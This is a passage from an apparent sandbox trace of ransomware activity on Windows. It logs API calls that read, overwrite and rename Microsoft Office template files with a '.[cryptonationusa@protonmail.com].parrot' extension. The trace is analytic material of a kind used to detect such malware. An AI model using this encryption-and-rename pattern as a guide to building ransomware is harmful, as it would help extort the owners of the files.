hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.395] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.395] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0239.467] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.468] WriteFile (in: hFile=0x280, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0239.473] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.473] WriteFile (in: hFile=0x280, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0239.476] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5d2231, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0239.476] CloseHandle (hObject=0x280) returned 1 [0239.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.488] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.488] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.489] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.490] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0239.540] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.541] WriteFile (in: hFile=0x280, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0239.546] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.546] WriteFile (in: hFile=0x280, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0239.549] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x96f5cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0239.549] CloseHandle (hObject=0x280) returned 1 [0239.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.559] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.559] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.597] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.597] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0239.710] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.710] WriteFile (in: hFile=0x280, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0239.716] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.716] WriteFile (in: hFile=0x280, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0239.718] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6725bb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0239.719] CloseHandle (hObject=0x280) returned 1 [0239.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.729] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.729] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.731] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.731] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4352, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4352, lpOverlapped=0x0) returned 1 [0239.733] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.771] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.771] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.773] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.773] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72a6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72a6, lpOverlapped=0x0) returned 1 [0239.775] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0239.784] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0239.784] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0239.786] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.786] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0239.984] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.984] WriteFile (in: hFile=0x280, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0239.990] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.990] WriteFile (in: hFile=0x280, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0239.992] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x125530, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0239.993] CloseHandle (hObject=0x280) returned 1 [0239.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.079] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.079] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.081] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.081] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x95482, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x95482, lpOverlapped=0x0) returned 1 [0240.122] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.375] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.375] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.377] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.377] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26022, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x26022, lpOverlapped=0x0) returned 1 [0240.388] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.405] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.405] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.407] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.407] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x145ba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x145ba, lpOverlapped=0x0) returned 1 [0240.412] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergefax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergefax.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.421] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.422] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.431] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.431] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25ed3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x25ed3, lpOverlapped=0x0) returned 1 [0240.437] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.440] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergeletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.450] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.451] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.452] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.452] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0240.500] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.501] WriteFile (in: hFile=0x284, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0240.505] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.505] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0240.508] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bed50, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0240.508] CloseHandle (hObject=0x284) returned 1 [0240.509] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.518] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.518] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.520] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.520] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45054, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x45054, lpOverlapped=0x0) returned 1 [0240.536] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityresume.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.561] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.562] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.610] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.610] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f0bf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f0bf, lpOverlapped=0x0) returned 1 [0240.617] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.621] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.629] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.629] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.630] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.631] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ea93, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ea93, lpOverlapped=0x0) returned 1 [0240.634] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialmergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialmergeletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.642] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.642] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0240.644] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.644] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbc195, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbc195, lpOverlapped=0x0) returned 1 [0240.682] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialreport.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0240.876] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0240.876] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) 